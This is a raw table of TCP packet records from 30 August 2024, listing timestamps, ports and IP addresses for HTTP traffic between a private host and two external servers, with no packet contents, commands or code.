Aug 30, 2024 03:17:08.361215115 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.361221075 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.361229897 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.361263990 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.400470018 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.400476933 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.400491953 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.400516033 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.400521040 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.400526047 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.400532007 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.400537014 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.400551081 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.400595903 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.400629997 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.400635958 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.400645971 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.400676966 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.400717974 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.400729895 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.400741100 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.400744915 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.400749922 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.400782108 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.400790930 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.432271957 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.432285070 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.432293892 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.432347059 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.432379961 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.432384968 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.432389975 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.432394981 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.432431936 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.432564020 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.432569981 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.432580948 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.432584047 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.432590008 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.432595968 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.432600975 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.432615042 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.432626009 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.432632923 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.432636976 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.432636976 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.432668924 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.432668924 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.432796955 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.432804108 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.432813883 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.432820082 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.432826042 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.432832003 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.432842970 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.432857990 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.432898045 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.433012009 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.433017015 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.433027983 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.433032990 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.433037996 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.433043957 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.433049917 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.433073997 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.433093071 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.433121920 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.433128119 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.433139086 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.433144093 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.433186054 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.433186054 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.433258057 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.433264971 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.433275938 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.433286905 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.433326006 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.433326006 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.433339119 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.433345079 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.433351040 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.433356047 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.433365107 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.433372021 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.433374882 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.433386087 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.433423042 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.433453083 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.433459044 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.433464050 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.433469057 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.433475018 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.433485985 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.433491945 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.433496952 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.433507919 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.433514118 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.433514118 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.433542967 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.433542967 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.433579922 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.433584929 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.433595896 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.433602095 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.433607101 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.433619022 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.433624029 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.433629036 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.433634996 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.433640003 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.433666945 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.433666945 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.433698893 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.433731079 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.433736086 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.433747053 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.433752060 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.433758020 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.433767080 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.433784008 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.433799028 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.433821917 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.433940887 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.433947086 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.433958054 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.433964014 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.433969021 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.433974028 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.433995962 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.434057951 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.434155941 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.434161901 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.434166908 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.434171915 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.434178114 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.434182882 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.434189081 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.434194088 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.434199095 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.434223890 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.434223890 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.434398890 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.434429884 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.434429884 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.434461117 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.434467077 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.434473038 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.434478045 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.434529066 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.434545040 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.434550047 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.434561968 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.434566975 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.434573889 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.434602976 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.434602976 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.434803963 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.434808969 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.434819937 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.434824944 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.434829950 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.434835911 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.434850931 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.434855938 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.434860945 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.434863091 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.434868097 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.434874058 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.434904099 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.434904099 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.435070992 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.435076952 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.435089111 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.435094118 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.435100079 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.435127974 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.435142994 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.455322981 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.455382109 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.455387115 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.455430984 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.455436945 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.455446959 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.455451965 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.455466986 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.455466986 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.455492973 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.455504894 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.455516100 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.455522060 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.455528975 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.455544949 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.455550909 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.455555916 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.455560923 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.455560923 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.455585003 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.456764936 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.456769943 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.456774950 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.456816912 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.456820011 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.456823111 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.456829071 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.456834078 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.456860065 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.456896067 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.456896067 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.456902027 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.456906080 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.456953049 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.456953049 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.457010031 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.457015038 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.457020998 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.457026005 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.457031965 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.457041979 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.457053900 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.457088947 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.457221985 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.457227945 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.457238913 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.457243919 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.457250118 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.457264900 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.457284927 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.457284927 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.457318068 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.457566977 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.457572937 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.457583904 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.457597017 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.457609892 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.457619905 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.457626104 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.457631111 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.457642078 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.457644939 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.457644939 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.457659006 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.457685947 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.457686901 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.457691908 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.457698107 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.457714081 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.457719088 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.457724094 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.457731962 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.457756042 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.457756042 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.457808018 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.457813978 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.457824945 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.457829952 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.457834959 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.457842112 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.457865953 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.457896948 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.458051920 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.458058119 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.458067894 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.458072901 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.458082914 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.458087921 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.458095074 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.458106041 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.458122969 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.458133936 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.458292961 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.458300114 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.458309889 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.458313942 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.458319902 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.458329916 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.458340883 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.458359957 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.458360910 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.458370924 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.458393097 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.458399057 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.458405018 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.458431005 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.458457947 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.458472013 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.458477974 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.458487988 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.458493948 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.458508015 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.458544016 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.458544016 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.458652020 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.458657026 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.458662987 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.458693981 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.458702087 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.458708048 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.458718061 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.458724022 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.458758116 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.458758116 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.458798885 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.458808899 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.458851099 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.459151983 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.459156036 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.459167004 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.459212065 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.459223986 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.459228992 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.459232092 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.459235907 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.459247112 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.459265947 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.459290981 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.459326029 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.459340096 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.459347963 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.459378958 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.459423065 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.459491968 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.459497929 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.459510088 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.459516048 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.459522009 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.459533930 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.459541082 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.459546089 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.459547043 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.459552050 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.459577084 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.459593058 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.459727049 CEST	80	49734	147.45.44.104	192.168.2.4
